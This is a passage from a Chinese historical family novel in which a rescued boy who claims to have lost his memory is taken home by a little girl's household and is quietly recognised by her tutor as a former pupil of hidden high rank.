阿沅被绿果半抱着,两只小手乖乖搭在绿果胳膊上,却努力踮起脚尖,小脑袋一个劲儿往前探,乌溜溜的大眼睛里满是好奇。
绿果也低下头,仔细端详地上孩子的面容,看了半晌,她也“咦”了一声,皱起眉头:“这么一说……是有点眼熟,可奴婢这脑子,一时半会儿真想不起在哪儿见过这么齐整的孩子。”
“这个姐姐我见过!”阿沅忽然清脆地开口,小手指着地上的男孩,语气肯定得不得了,仿佛发现了什么了不起的秘密。
孟柒闻言,原本严肃的脸上不由露出一丝笑意,他回头看了阿沅一眼,温声纠正:“小姐看错了,这是个小子,得叫哥哥。”他一边说,一边手上动作不停,熟练而快速地摸索检查男孩的四肢关节,又轻轻扯开他胸前的衣襟察看。
昏暗的火光下,男孩的胸膛和手臂皮肤光洁,除了些尘土,并无任何青紫瘀伤或马蹄印痕。孟柒紧绷的肩膀这才略略放松,“骨头没事,皮肉也没见着伤。许是天寒,又饿着,在马棚里冻晕过去了。”
说着,他拇指用力,掐向男孩的人中穴。
随着孟柒力道施加,地上男孩长长的睫毛颤动了几下,猛地睁开了眼睛!
那是一双极其漂亮的眼睛,初睁开时还带着昏沉与朦胧,但在对上孟柒审视目光的瞬间,立刻变得清明而警惕,甚至闪过一丝惊惧。
他几乎是本能地双手猛地向前一推,试图挣脱孟柒的手,同时挣扎着想坐起来,但虚弱的身体不听使唤,刚抬起一点就又软软跌了回去。
他不再尝试起身,只是倔强地昂着头,那双清亮的丹凤眼直直瞪着孟柒,嘴唇抿得紧紧的,虽未发声,却像一只受惊又戒备的小兽。
第一卷 第101章 漂亮哥哥
“漂亮哥哥!”阿沅软糯糯的声音再次响起,打破了短暂的僵持。
她一点儿也没被男孩凶巴巴的眼神吓到,反而因为看清了他的脸,眼睛更亮了,一眨不眨地盯着他,那声呼唤又甜又脆,带着纯然的好奇与欣赏。
男孩的注意力果然被这稚嫩的声音吸引了过去,他微微偏头,目光落在被绿果护在怀里的那个粉雕玉琢的小女娃身上。
小女孩约莫三四岁,穿着暖和的粉色小袄,头上扎着两个小的不能再小的花苞髻,脸蛋红扑扑的,正睁着那双黑葡萄似的大眼睛,毫不怕生地回望着他。
男孩眼中的戒备,在面对这小小的、充满善意的注视时,难以察觉地松动了一丝。
“官人可是需要什么东西,小的给你备了就是,何必拉得这么急!”这时,主家守宅的下人被十六几乎是半拖半拽地带了进来。
那是个约莫五十岁、又黑又瘦的小老头,脸上皱纹深刻,此刻正带着被打扰的不满,一边整理被十六扯歪的衣襟,一边嘟囔着,像是刚睡醒一般。
“看看,这小孩刚才睡马棚里,是不是你们家的?还是你们村上谁家的?”十六指着地上的男孩,语气急切地询问。
孟柒站起身,对十六微微摇头示意他稍安勿躁,然后转向那黑瘦老头,语气平和但清晰地说道:“老丈莫怪,我这位兄弟心急了些。
这孩子我们是在马棚发现的,昏过去了,刚救醒。身上倒不见外伤,许是冻饿所致。
劳烦您辨认一下,可是贵宅主人,或是这附近村落谁家的孩子走失了?若认识,我们也好尽快送还。”
黑瘦老头闻言,这才不怎么情愿地佝偻着背,慢吞吞走上前,甚至没完全蹲下,只是眯着眼,居高临下地扫了地上的男孩一眼,便立刻不耐烦地挥了挥手:“老爷说笑了,这宅子如今就我老汉一个人守着,里外清扫都忙不过来,哪来的孩子?”
但他顿了顿,还是凑近些,借着火光仔细看了看男孩的脸,这一看,倒是“啧”了一声,“咱们这穷乡僻壤,十里八村的泥娃娃,哪有生成这般好模样的?您瞧这皮子,这眉眼……别不是遭了拐子,自己机灵逃出来的吧?”
孟柒再次蹲下身,这回轻轻扳过男孩的肩膀,让他能更清楚地看到自己,然后用一种比之前缓和了许多、尽量不显得太有压迫感的语气问道:“小家伙,别怕。你叫什么名字?家住在哪里?身上可有哪里觉得疼?”
男孩的目光飞快地掠过孟柒,又不由自主地飘向一直望着他的阿沅,看到绿果也正带着几分审视和疑惑打量自己时,他像是有些心虚,又像是真的困惑,迅速垂下了眼睫,长长的睫毛在脸颊上投下淡淡的阴影。
他抬起一只手,似乎无意识地想抓自己的头,脸上适时地浮现出一种茫然的苦思神色,然后才用带着点沙哑的童音低低回答:“我叫阿执……其他的……记不起来了。”
“记不起来了?”孟柒还没说话,旁边的十六已经惊呼出声,脸上刚褪下去的担忧又浮了上来。
他总觉得这孩子要是在他眼皮子底下被马踢出个好歹,自己心里这道坎就过不去了。
就在这时,阿沅也忽然指着男孩的头顶,小嗓音带着惊慌:“呀!漂亮哥哥出血了!”她的小身子在绿果怀里不安地扭动,想要更靠近些看清楚。
孟柒闻言,立刻伸手拨开男孩额前浓密的黑发,果然在靠近发际线的地方发现了一处不大的伤口,血迹已经微微凝固,但周围还有些新鲜渗出的血丝,沾湿了几缕头发。
“只是破了点油皮,伤口不深,也没肿包,不太严重。”他检查后下了判断,心里却疑窦更深:这伤不像马蹄踏踢所致,倒像是磕碰所伤。
而且这伤口的位置……
“可他怎么偏偏记不起事了呢?”十六挠着头,百思不得其解,对这个年纪的孩子来说,这太不寻常了。
孟柒没有立刻回答,他看着男孩依旧苍白但难掩清秀的脸,又看了看他下意识舔着的干裂嘴唇,以及那不时飘向桌上那锅散发着浓郁肉香的骨头汤的眼神,心里有了计较。
他语气依旧平淡,甚至有点故意的不甚客气:“阿执饿不饿?要不要跟我们一起吃几口热乎的?”
男孩像是被说中了心事,身体几不可察地轻轻一颤。他再次飞快地瞥了阿沅一眼,然后目光像是被黏住了一样,定定地落在那口咕嘟咕嘟冒着热气、香气四溢的陶锅上,不自觉地又舔了舔嘴唇。
但当阿沅满怀期待地看着他时,他又像是被烫到一般,迅速低下了头,做出一副艰难的表情。
阿沅见漂亮哥哥低头不说话,更着急了,她伸出小胳膊,努力想往男孩那边够,小嘴里软软地劝说着:“哥哥吃,骨头可香可好吃啦!吃了肚肚暖,头头就不疼疼了!”那模样,恨不得亲自把肉骨头送到男孩嘴边。
绿果赶紧把阿沅不安分的小手按住,顺势将她往怀里搂紧了些,一把将她抱了起来,转身往饭桌边走,语气故意带上了几分催促,打破这有些凝滞的气氛:“小姐,咱们的骨头汤都要凉啦!您方才不就说饿了吗?能开饭了吧?”
她将阿沅放回她的专属小凳上,自己也坐了下来,目光却仍带着警惕,不时扫向地上的男孩,眼里开始有了戒备。
“小子,别磨蹭了。”孟柒眼里也是审视的目光。
但也不再啰嗦,伸手抓住男孩的胳膊,略一用力将他从地上拎了起来,顺手帮他拍掉背上沾的几根草屑,然后朝着饭桌旁一个空着的凳子努了努嘴,“算你运气。去,把你那乱头发理理,过来坐着。”
接着,他转向还杵在门口、眼神却忍不住往肉锅方向瞟的黑瘦老头,语气恢复了平淡的客气:“老丈可要一起用些?灶上火现成的,添副碗筷便是。”
那黑瘦老头喉结明显滚动了一下,贪婪地吸了吸空气中弥漫的肉香,但抬头对上孟柒那张虽然年轻却没什么表情、目光沉静的脸,以及旁边十六、十五两个精壮汉子,到嘴边的话又咽了回去。
讪讪地摆手道:“不、不用了,老爷们太客气了,老汉我……我吃过了,吃过了。老爷们慢用,慢用。”
说完,像是怕他们再留客,忙不迭地弓着腰,倒退着出了屋子,很快脚步声就消失在院子里。
也没人出声唤他回来。
第一卷 第102章 漂亮哥哥跟我回家
阿执只是随便挽起了头发,那些原本被血污和泥土纠结在一起的发丝顿时顺滑了许多,露出光洁的额头。
十六又用水给他粗粗抹了一把脸,粗糙的指腹蹭过脸颊时,男孩下意识地瑟缩了一下,但并未躲开。
清水洗去了最后一点污迹,再回到昏黄油灯照耀下的饭桌前,围坐的众人都惊呆了——这孩子哪里只是清秀而已,简直像是换了个人。
心中感叹小姐眼光毒辣的同时,连看他的眼神都变了变,多了几分审视与不可思议。
摇曳的光线下,这孩子不只是清秀而已,五官深邃立体,鼻梁挺直,除了那双略带妩媚、眼尾微微上挑的丹凤眼,眉宇间竟还自带一股不容忽视的英气,这两种矛盾的气质奇异地糅合在他尚显稚嫩的脸上,任谁都不会忽视。
十六默默地灌了两碗热腾腾的肉汤,又狠狠咬了几大块炖得烂熟的野猪肉,胃里有了底,才抹了抹嘴,忐忑地开口:“老大,这小子……怕真是被拐出来的良家子。您看他这稍带娘气的模样,若再流落在外,怕……真不好自保。”
他说得含蓄,但担忧都写在了脸上。
十五闻言打了个明显的寒战,仿佛想起了什么极不好的事,憋了好久,才从牙缝里挤出几个字:“有些变态——专好娈童!”
这场景他小时候在混乱的市井间亲眼见识过,只是目标不是他,而是邻村一个生得同样好看的男童。那孩子只被几个衣着光鲜的陌生人带走三天,听说丢出来时,就已经没了气息。
往事浮现,让他喉头发紧。
十五还想再详细说下去,绿果立刻在桌下用力踢了他一脚,低声斥道:“小姐还在这儿呢!那些腌臜事,仔细吓着她。”她边说边担忧地看了一眼正小口啃着骨头的阿沅。
于是所有人立刻噤声,饭桌上只剩下碗筷轻微的碰撞声和柴火噼啪的响动。阿执没有说话,目光时不时瞟向阿沅。
孟沅自顾自地咬了两块浸满汤汁的大骨头,又吃了一块炖得粉糯的土豆,喝了大半碗暖融融的汤,小肚子微微鼓起。
然后,她抬起亮晶晶的眼睛,看向那个自称阿执的男孩。
他已经安静地吃了两大碗肉汤,此刻目光却大多坦然地、带着一种固执的探究,停留在她的小脸上。
她总觉得两个人原本应该在哪里见过,那双眼睛看着并不让她觉得陌生,也不让她觉得害怕,加上这人实在长得好看,像年画里走出来的仙童,不免有了些强烈的好奇之心。
心里很快有了计较,她仰起小脑袋,看向能做主的孟柒,声音清脆又带着点撒娇的意味:“柒叔,我们把漂亮哥哥带回家吧。”
孟柒没有马上回答,浓眉蹙着,依然用锐利如鹰隼般的目光上下考究着男孩,试图从他每一个细微的表情和动作里找出破绽。
绿果却有点犹豫,怎么都觉得这小孩出现得太过巧合,透着蹊跷,更不喜欢他那种如孤狼般紧绷的戒备状态,以及总是牢牢锁在小姐身上的、过于灼热的目光。
但她知道最终决定权不在自己这里,所以只是忍住心中的不快,抿紧了唇,并不吭声。
一时间,所有人的目光都聚焦在了孟柒身上,等待他的决断。
孟柒沉吟片刻,终于开口,声音低沉:“你……吃饱了,今晚跟你十六哥挤一挤睡。”
他说完,仰头灌下自己碗里最后半碗汤,霍地站起身,高大的身影在墙上投下晃动的阴影,径自往旁边的厢房走去。
像是还没有做出最后的决定,需要再思量一番。
这一晚,阿沅在绿果温暖的怀抱里睡得很好,梦里都是无边无际的绿草、湛蓝的天空和棉花糖似的白云,自由而安宁。
只是,阿执那双漂亮的丹凤眼,一直静静看着她的目光,偶尔会在梦境边缘闪过,非但没让她觉得害怕,反而有种奇异的安心感。
早饭是一大锅昨晚吃剩的肉汤熬成的稀粥和几块被掰碎了混在粥里的面饼子。
每人呼噜噜喝下一两碗,身上顿时暖和起来,饭桌上依旧没一个人说话,只有轻微的吸溜声。
气氛有些微妙的凝滞。
再站起身时,阿沅迈着小短腿走到哪里,阿执就跟到哪里,不近不远,总是隔着三四步的距离。
沉默却坚定,仿佛认准了她,就此赖上了。
害得绿果老是紧张地侧身挡住他窥视小姐的视线,心中对他的不喜又加深了几分,甚至急得跺脚,看向正在检查马鞍的孟柒:“柒哥!再这样我可不客气,要出手赶人了!”
孟柒叹了口气,蹲下身来,视线与阿沅齐平,试图跟她讲道理:“小姐,你看他,来历不明,脑袋好像也不太灵光,问什么都不说……”
意思是这是个麻烦,也未必是他们造成的,所以语气带着商量,“咱们已经救了他,要么,给他留点银钱和干粮,让他自寻去处?”
“不行!”阿沅把头摇得像拨浪鼓,小脸上满是认真,“他会死的。”
她心里那种莫名的牵连感更重了,总觉得这人和自己可能有点说不清的干系。
再一思量,她伸出小手拉住孟柒的袖子,给出了一个自认为非常合理的解决方案,童声稚气却格外郑重:“我带他回家,我教他种地!种地就有饭吃,不会死了。”
她种地正需要人手,不如先让他做个跟班。
孟柒顿时语塞,看着小姐眼中澄澈的祈求,实在硬不起心肠拒绝,只能在心里嘀咕:我的小姐哟,您自己都冰肌玉肤、十指不沾阳春水,还说要教人种地?
好吧,您都说种地了,这臭小子还摆弄不了泥土?
这理由,真是让人无法反驳。
“你跟我回家吧!”大人们还在权衡利弊,想着就这么带回去是否合适,会不会引来祸患。小阿沅却已经自顾自地做出了决定,她转向一直沉默望着她的阿执,伸出自己白白嫩嫩的小手,掌心向上。
阿执的眼睫颤了颤,几乎没有犹豫,便将他自己那只已经洗干净、却仍有细小伤痕的手,轻轻放在了那只小手上。
两只手,一大一小,一略带粗糙一柔软无比,就这样握在了一起。
绿果阻拦不及,看得眼皮直跳。
“回去之后,再由大人和夫人定夺!”孟柒知道拗不过小姐了,索性不再阻拦。他想,这个“坏人”还是让老爷和夫人来做更合适,反正自己是万万不能做那个惹小姐伤心难过的人,小姐可是最记“仇”的。
不过,这小子来历不明,对小姐的关注又超乎寻常,回去路上乃至到家后,都必须严加防范,仔细探究一番,最好绝不给他任何与小姐单独相处的机会。
两只握着的手,最终被绿果有些强硬地掰开了。她自己迅速挤到了两人中间,像一道坚固的屏障,隔开了彼此的视线和接触,然后一手护着阿沅,一手略带警惕地虚拦着阿执。
第一卷 第103章 难道和杨大儒是旧识?
马车被十六从后院赶了出来,停在晨光中。阿沅看看衣着单薄、在清晨寒风里显得有些瑟缩的阿执,再看看自己被绿果裹得圆圆滚滚、像个小球似的身子。
她眨了眨眼,仰起头,对着正打算抱她上马的绿果,再一次语出惊人:“绿果姐姐,今天风大,我不骑马了,冷。我们坐车!”
说完,不等绿果反应,就迈开小短腿,噔噔噔地朝着那辆带着篷子的马车跑了过去,动作灵巧得像只小松鼠。
一直沉默寡言、几乎没什么表情的阿执,此刻猛地抬起头,目光紧紧追随着那个跑动的小小身影,看向阿沅时,那双漂亮的丹凤眼里,仿佛有星子落入深潭,倏地亮了起来,燃起一簇温暖而充满希望的光。
“绿果,上车,看好他们。”孟柒有点负气地瞪了一眼旁边挠着头、一脸“这不关我事”的十六,然后无奈地走过去,一把将已经扒住车的阿沅抱上车厢。
直到亲眼看见车厢里,绿果如临大敌般牢牢坐在小姐和那臭小子中间,确保小姐的小手再也无法轻易碰到那小子,孟柒才稍微松了口气,转身跃上前辕,握紧了缰绳,沉声喝道:“走了!”
再回庄子的路偏僻,人少车少,好走多了,似乎也不再那么漫长。
车轮碾过土路的声音单调而安稳,只过了中午,那片熟悉的灰瓦土墙便静静出现在视野尽头,庄子就在眼前了。
大宅正堂前,已经得了讯的柳氏推着孟大川早已等在廊下。
孟大川双手紧握着轮椅的扶手,脖子微微前倾,眼神殷切地望着大门的方向。柳氏一身素雅的藕荷色衫裙,发髻梳得一丝不苟,只是手里攥着的帕子已被揉得有些皱了。
也不知是不是他们走后,就这么天天等着。
孟怀瑾再沉稳也按捺不住,一听到外头的动静,就猴子似的窜了出去,紧跟在红袖、莲子和红豆的后面。红袖手里还拿着一只没缝完的布老虎,大约是想给阿沅的玩意儿。
“你这小淘气,总算回来了,让爹娘和哥哥好等!”孟怀瑾嗓门洪亮,带着满满的欢喜,一把就将刚下车的阿沅抱了起来,掂了掂分量,还故意在她穿着嫩黄小裤子的屁股上“啪啪”拍了两下,声音响亮却不疼。
“嗯,沉了!在外头是不是光顾着玩儿,没想哥哥?”他一边说,一边将咯咯直笑的妹妹稳稳放下,粗糙的大手紧紧包住她软乎乎的小手,牵起她就往里跑。
看这模样,离家这些日子,孟怀瑾的性子似乎被庄子里的自在日子养得更活泛、更爽朗了。
与此同时,跳下车辕最快的孟柒,脚一沾地便像一阵风似的卷进院里。他面色沉稳,脚步却急,径直去寻孟大川和柳氏,应该是想马上汇报路上的情形。
阿执是几人中最后进的院。他先是站在那扇略显斑驳的院门口,静静往里看了许久。
目光先是追随着那个嫩黄的小小身影,她像只归巢的雀儿,蹭蹭蹭地跑到坐在轮椅上那人的膝前,毫不费力地爬了上去,两只小胳膊搂住他的脖子,把小嘴凑到他耳边,叽叽咕咕说着只有两人能听见的悄悄话,说完还调皮地扭扭身子。
孟大川哈哈大笑,用胡子轻轻扎了扎她的脸蛋。接着,她又像颗小糖球似的滚进柳氏张开的怀抱里。
柳氏的眼圈瞬间就红了,紧紧搂着她,脸贴着脸,一声声“我的心肝儿”、“我的沅宝”唤着,亲了又亲,蹭了又蹭,仿佛怎么都疼不够。
阿执远远看着这温馨得几乎发亮的一幕,忽然感觉自己眼角有点不对劲,忙侧过身,用袖子飞快地擦了擦。
待他转回身,目光落在孟怀瑾身边那位青衫磊落、须发皆白的老者身上时,眼神忽地一亮,仿佛夜行之人见到了熟悉的灯火。
他不再犹豫,连忙快走几步,甚至到最后几乎是奔跑了起来,直到在台阶面前数步处猛地停住,胸膛微微起伏,眼神微红,目不斜视。
“先生,我回来了。”另一头,阿沅好不容易从娘亲香软的怀抱里挣出半个小脑袋,乌溜溜的眼睛转向杨大儒,也像模像样地在柳氏怀里拱了拱小手行礼,奶声奶气地跟着学舌。
“总算回来了,”杨大儒先是对着阿沅,假装板起脸,捋了捋长须,“玩野了吧?明日开始,把这十天落下的功课补上,大字每日多写三张。”
可他嘴角却是不自觉地翘起,眼角的皱纹里都盛满了慈祥的笑意。
再抬头,看向对面那直奔自己而来、此刻正目光灼灼望着自己的孩童时,杨大儒忽然瞳孔微缩,捻着胡须的手微微一顿,似是觉得不可思议。
他定定地看着阿执的脸,好似过了好久才从遥远的记忆中回过神来,脸色也由最初的震惊,渐渐转为复杂的了悟,许久才恢复表面的平静。
他下意识地挺直了总是略显随意的身板,站得如松如竹,目光深深地看着阿执,却没有立刻回应他的话。
“六……”最终只是挤出一个字就被打断了。
“阿执见过老爷、夫人,见过夫子。”阿执的声音清晰而稳定,他双手交叠,躬身行礼,姿态端正,竟带着一种与年龄不符的、刻入骨子里的规范。
一旁的孟柒猛地抬头,看向这个一夜之间仿佛变了个人似的阿执,一脸讶然。
昨夜救他时他懵懂沉默,今日路上带他回来也未曾多言,没得他几句好话,怎地此刻突然改了性子?
昨晚到现在,虽没看出痴傻,却也觉着他有些过于沉闷,不似寻常孩童灵光。
可此刻这番举动,这行礼的规矩,分明是极有教养的模样。他……怎么还一眼就知道杨先生是夫子?
杨大儒张开的嘴巴好久没合上,只是怔怔地看着眼前的孩童。
“你就是阿执呀!”孟大川洪亮的声音打破了这微妙的静默。
他一直留意着杨大儒的神情变化,此刻心中更是笃定了几分,脸上露出温和的笑意,朗声道:“一路辛苦了。待会儿跟下人去好好洗个澡,换套干净衣裳。怀瑾,找身你小时候的衣裳给阿执先换上。”
孟大川这话说得自然而然,仿佛留下一个陌生孩子是再平常不过的事。
一旁的柳氏和孟怀瑾都有些意外地看向他,柳氏眼中带着询问,孟怀瑾则是单纯的惊讶——爹这就做主留人了?难道是神仙姑姑又给阿沅托了梦不成?
他们全然不知,就在方才阿沅行礼时,孟大川不仅看着女儿,也将杨大儒眼中那瞬息的震惊与身体的僵硬尽收眼底。
那绝非面对陌生孩童的眼神,倒像是故人重逢,惊诧中带着难以言说的意味。
两人什么关系尚不可知,但这孩子,必不简单。
留下他,或许是机缘。
孟柒闻言,紧绷的肩膀几不可察地松了松,算是放下了一件心事。
但他依然对不远处正含笑看着小姐的绿果和红豆使了个眼色,目光警惕地扫过阿执。
那意思是:警醒些,看顾好小姐,这小子……底细还未明呢。
杨大儒依然没有开口说话,只是当阿执那郑重一拜到底时,他并未躲闪,稳稳地受了。
花白的须发在微风中轻轻拂动,他望着阿执低垂的头顶,眼中掠过一丝极复杂的感慨,最终化作一片深沉的寂静。
这态度,也算是默许了孟大川的安排。
第104章 阿执
所有人寒暄了一番,阿沅就待不住了,她像只刚出笼的雀儿,在屋里转了两圈,圆溜溜的眼睛左瞧瞧右看看,最后落在了她那几个小姐妹身上。
“莲子,红袖,红豆姐姐,你们快点进来,我有好东西给你们!”她声音又脆又亮,带着藏不住的欢喜。
三个女孩儿被她拉着,笑嘻嘻地涌进了她那间不算大的屋子。
门一关,就听见里面传来窸窸窣窣的声音,伴着小阿沅奶声奶气的炫耀:“看,这是城里买的糖人,孙大圣!这个给红豆姐姐……这个绢花可好看啦,配红袖姐姐的新衣裳……莲子你看,这盒香香的胭脂,娘亲说小孩子不能用,我们先闻闻呀!”
再分下去的哨子、风车、风筝一堆东西。接着便是一阵女孩儿们压低的惊叹和清脆的笑声,快活的气息几乎要溢出房门。
外间,杨大儒忽然敛了神色,郑重其事地朝柳氏拱手行了一礼,道:“夫人,既有贵客临门,今晚这饭食,就连老夫的一起安排了吧!”
他语气虽平和,姿态却放得颇低,惊得柳氏连连侧身避开,脸上又是惶恐又是惊喜:“先生这是哪里话!您肯赏光,是求都求不来的福气,妾身这就去张罗,定不让先生和客人委屈。”
她忙不迭地应下,心里却有些纳罕,杨先生平日虽和气,但这般主动开口,还用了“贵客”二字,着实少见。也让她对那个男孩产生了点好奇。
趁着柳氏转身吩咐仆妇的当口,杨大儒不着痕迹地背过她的视线,先是深深看了一眼孟大川,随即目光便落在了安静站在一旁的阿执身上。
那眼神复杂极了,有关切,有审视,还有一丝极力掩饰的震动。
他用自己略显清瘦的身子挡住了想要上前推动轮椅的孟柒,转向孟大川,声音略略提高,像是寻常师长对家长说话那般:“孟大人,令郎跟随老夫进学也有数月了,大人想必也想听听老夫对他的些许考较。不若……我们一同进屋聊聊?”
这话里的意思,在场几个机警的人都听明白了——这是要支开旁人,单独说话。
孟柒何等乖觉,立刻松开扶着轮椅的手,只默默地将孟大川的轮椅调转了个方向,便利地让给了几步外的孟怀瑾。
随即垂首道:“大人,先生,那属下先行告退,今晚再来向大人汇报事务。”说罢,便躬身退了出去,步伐沉稳,不带一丝犹疑。
孟大川心中了然,知道杨先生此举必有深意,便顺着话头,朝杨大儒点了点头,沉声道:“下官乐意至极,正要请教先生犬子的学业。”
孟怀瑾见状,连忙上前,稳稳握住父亲的轮椅把手,同时恭敬地对着杨大儒行礼:“学生愚钝,还请先生指点。”
他虽年纪不大,但举止已有乃父之风,沉稳得体。
此时,孟大川与杨大儒之间,似乎已形成了一种无需言说的默契,这默契来得突然而隐秘,不仅天真烂漫的阿沅毫无所觉,就连屋内的其他人,也未曾窥破其中机锋。
几人穿过正堂,进了里侧用作书房的静室。阿执一直安静地跟在杨大儒身后半步的距离,不疾不徐,进退有度。
待孟怀瑾推着孟大川进屋,杨大儒最后一个进来,回身,竟“咔哒”一声,将那房门从内落了锁。这轻微的声响在寂静的室内显得格外清晰。
锁好门,杨大儒才急急转过身,脸上维持的从容淡定瞬间褪去,他上前半步,嘴唇微颤,压低了声音,急切地问:“六……”
他刚吐出一个字,就被男孩打断了。阿执抬起那双过分冷静的眼眸,里面没有丝毫孩童应有的怯懦或依赖,只有一种近乎执拗的坚持。
他清晰而低声地纠正:“阿执。”两个字,斩钉截铁,不容置疑。
杨大儒被他这一打断,面上闪过一丝无措,旋即化为更深切的疼惜。他下意识抬起手,想要像过去那样,抚一抚这孩子的发顶,可手伸到半空,却又硬生生顿住,缓缓收了回来,最终只化作一声几不可闻的叹息。
他调整了一下呼吸,将声音放得更轻、更缓,仿佛怕惊扰了什么:“阿……执,你……你怎么会……落魄至此?究竟出了何事?”他的目光扫过阿执身上那身略显脏污却明显质料普通的衣裳,眼中满是忧虑。
阿执低头看了看自己的衣袖,脸上非但没有窘迫,
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反而浮现出一丝与他年龄极不相符的、近乎狡黠的笑意,那笑意很浅,却让他整个沉静的面容瞬间灵动起来,像冰层下倏然游过一尾机敏的鱼。
他同样压低声音回道:“偶然听阿沅妹妹说起庄子里有位厉害的杨先生,学生便猜是您,循着味儿就找来了。”语气里竟带着点小小的得意。竟不觉得自己来的方式有什么不妥。
杨大儒被他这态度弄得又是好气又是心疼,忍不住虚虚点了点他,吹了吹胡子:“你呀!害老夫白白担心一场,还以为……还以为那边又起了什么了不得的风波,不太平了。”
阿执闻言,脸上的笑意淡了些,他沉吟片刻,嘴角弯起一个讥诮的弧度,声音也冷了几分:“风波么……确实一直未曾停歇。不过眼下,那边正忙着‘救灾’与‘抢功’这两件大事,一时半会儿,那火还烧不到……学生身上。”
他将“救灾抢功”四个字咬得略重,带着明显的嘲讽意味。
先生听罢,又是一声长叹,其中包含了太多复杂的情绪:“如此……也好,暂得安稳便是福。您……阿执,可是打算在此处留下?”
“自然。”阿执回答得很快,他抬眼望向杨大儒,目光清澈而坚定,“还是跟着先生,更能学到安身立命、洞明世事的真学问。”
说着,他的视线微微偏移,落在了那扇紧闭的门扉上,仿佛能穿透木板,看到外面那个炊烟袅袅、充满生机的农家小院。
他的嘴角再一次轻轻弯起,这一次的笑意里,多了些难以捉摸的意味,轻声道:“这里……很好。先生果然会找地方,宁静,踏实,还有……”
他顿了顿,没有说下去,但眼中掠过一丝极淡的暖色。
然而,当四个人真正在静室中相对,面面相觑时,气氛却忽然陷入了一种微妙的沉默。
孟怀瑾站在父亲轮椅旁,能清晰地感受到身边这个名叫阿执的男孩身上,散发出一种与他年幼外表截然不同的气息。那并非骄横,而是一种沉静的、内敛的,却莫名让人无法忽视的……存在感,甚至带着一丝不易察觉的压迫,让他素来的沉稳,也感到些许不自在。
第105章 师兄师弟
最终还是阿执打破了沉寂。他上前一步,面向孟大川,再次深深躬身,行了一个极为标准的礼,姿态恭敬,语气诚恳:“阿执不请自来,冒昧打扰,怕是要叨扰孟大人府上一段时日了。此情此谊,阿执铭记于心。日后若有机缘,定当结草衔环,以报收留照拂之恩。”
杨大儒在一旁适时接口,语气有些斟酌,眼神也有几分躲闪,似乎既想说明什么,又有所顾忌:“老夫……早年有幸,曾做过阿执的启蒙先生。”
他说完这句,便住了口,没有更多解释,但那略显心虚的神情,反而更引人遐想。
孟大川对他们的对话和神态似乎并不十分意外,他脸上的表情是一种经历了风浪后的平静与了然。
他也拱手,郑重还了一礼,声音沉稳:“阿执公子不必多礼,也切莫再称‘大人’。既是有先生这层缘分在,便是自家人。
若不嫌弃庄子简陋,往后便安心住下,唤我们一声孟叔、云姨即可。”
这番话,既表明了接纳的态度,又划下了亲近而不过分探究的界限。
然后,他转向一脸狐疑、正偷偷打量阿执的孟怀瑾,温声道:“瑾儿,日后阿执便与你一同跟随先生学习,你年长些,要多照应弟弟。快来正式见过。”
阿执立刻从善如流,转向孟怀瑾,再次拱手,姿态端正,语气谦和:“阿执见过怀瑾师兄。”他依旧没有提及自己的姓氏,如同一个谜。
孟怀瑾也压下心头疑惑,一开始本着先来后到想要称呼阿执师兄,但想想还是顺着他来。端正神色,还礼道:“怀瑾见过阿执师弟。”两个少年的目光在空中交汇一瞬,又各自平静分开。
待孟怀瑾引着阿执先行离开,去安排厢房住宿后,杨大儒才拖过一把椅子,端端正正地坐到孟大川对面。
他脸上的皱纹似乎更深了,神情是前所未有的严肃,他捋了捋胡须,压低声音道:“孟大人,……他……确实是自行寻来的。此事,老夫事先并不知情。”
“先生,无需多言解释。”孟大川抬手轻轻止住了杨大儒的话头,他的神情坦然而平静,目光清明,仿佛早已洞悉了许多。
“下官虽愚钝,亦知有些事,不知便是福。不请自来,其中必有隐衷,然既入我门,便是我孟家之客,亦是先生之学生。眼下,平安度日最为紧要。”
话至此,此人身份,孟大川心中已隐约有了轮廓,猜到了十之四五。但这猜测并未让他感到惶恐或急于攀附,反而更添了几分审慎。
他如今自身伤残,携家带口偏居于此,所求不过是家人平安,生活宁静。卷入任何漩涡,都非他所愿。
至于这从天而降的“贵客”未来是福是祸,他无从预料;而自己这小小的武官,是否真能入得某些人的眼,提供一时的庇护,他也不得而知。
眼下,唯有走一步,看一步,但求问心无愧,护得身边人周全罢了。
西斜的阳光,将两人的影子拉长,投在墙壁上,也陷入了无声的思量。
阿执从头到脚洗了个干净,换上孟怀瑾去年穿的衣裳。
那衣裳虽是半新,料子却柔软,只是阿执身量尚不及去年的孟怀瑾,柳氏虽已让丫鬟紧着收了裤脚,穿在他身上依然显得有些空荡,袖口也
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宽宽地覆着手背,更衬得那孩子一张脸瓷白精致,眉眼如墨画一般。
他安静地站在那儿,湿漉漉的头发还未全干,几缕黑发贴在额角,眼神清亮里带着些微的懵懂,像个误闯人间的玉娃娃。
“长得真是好,把我们瑾儿都比下去了。”柳氏晚间倚在榻上,一边缝着个香囊,一边跟孟大川唠叨,话里那点子酸意,像抿了一小口未加糖的梅子汁,不重,却隐隐约约地绕在舌尖。
孟大川正看一本兵书,闻言抬眼笑道:“你个当娘的,怎么还跟孩子比上了?瑾儿是英气,阿执是俊秀,各有各的好。”
柳氏嗔他一眼,手下针线不停,心里却不由又浮起那孩子的模样,确实招人疼。
同样心里泛着嘀咕的还有孟怀瑾。
也不知这小子哪来的魅力,不到两个时辰的功夫,妹妹就迈着小短腿跑进他偏房不下三四次。
第一回扒着门框探头:“哥哥,阿执哥哥好了吗?”
第二回直接蹭到他书案边,小手扒拉着他的笔杆:“哥哥,阿执哥哥什么时候能陪我玩呀?”
第三回更是在外间堂屋里转悠,被奶娘抱走时还扭着小身子朝厢房方向望。
最可气是那小子沐浴时房门紧闭,阿沅进不去,竟也来扯他的衣袖,仰着红扑扑的小脸,乌溜溜的大眼睛满是期待:“阿执哥哥还没洗好吗?我想跟他玩接龙牌。”
俨然把他这个亲大哥昔日的“牌友”地位给忘了个干净。
孟怀瑾看着妹妹那迫不及待的小模样,心里莫名有些发闷,像自己珍藏的宝贝,忽然被个陌生小子勾走了注意力。
第106章 就当多个儿子吧
晚饭时分,花厅里灯火通明。一家人加上杨大儒和新来的阿执,刚好围坐一桌。
桌上菜色丰盛,红烧鱼油光发亮,清炒时蔬翠色可人,当中一大碗热气腾腾的鸡汤飘着金黄的油花,更有阿沅最爱的咕噜肉,红亮亮地堆在白瓷盘里。
孟大川和柳氏热情招呼着,饭桌上气氛很是热络。
“阿执哥哥快吃这个咕噜肉,酸酸甜甜的可好吃了!”
